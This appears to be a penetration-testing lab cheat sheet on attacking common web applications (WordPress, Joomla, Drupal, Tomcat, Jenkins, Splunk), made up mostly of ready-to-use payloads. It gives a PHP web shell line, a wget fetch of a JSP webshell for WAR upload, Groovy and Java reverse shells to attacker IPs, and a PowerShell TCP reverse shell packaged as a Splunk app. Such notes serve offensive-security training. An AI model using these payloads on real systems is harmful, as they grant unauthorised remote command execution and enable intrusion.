Attacking Common Application
Application Discovery & Enumeration
Using EyeWitness
source eyewitness-venv/bin/activate
python Python/EyeWitness.py --web -x web_discovery.xml -d inlanefreight_eyewitness
WordPress
- WPScan
- WordPress themes are located at
/wp-content/themes/<theme name>.
Joomla
When you have access to Control Panel (/administrator/index.php):
- Click on Templates on the bottom left under Configuration to pull up the templates menu.
- Click on a template name. This will bring us to the
Templates: Customisepage. - Click on a page to pull up the page source.
- Insert PHP code like:
system($_GET['cmd']);5.
Drupal
RCE using PHP Filter module
Download module
Once downloaded go to Administration > Reports > Available updates.
Once the module is installed, we can click on Content and create a new basic page.
Tomcat
Login Brute Force
Use the auxiliary/scanner/http/tomcat_mgr_login Metasploit module
Tomcat Manager - WAR File Upload
Browse to /manager/html.
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
Upload the backup.war file and go to /backup/cmd.jsp.
Jenkins
The script console (/script) allows a user to run Apache Groovy scripts.
Linux Host
def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
Windows Host
String host="10.10.10.10";
int port=4444;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Splunk
Reverse shell via package upload
Reference: https://github.com/0xjpuff/reverse_shell_splunk
Directory structure
run.ps1
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.15',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
run.bat
inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
Start a listener. Then go to /en-US/manager/search/apps/local endpoint and choose Install app from file.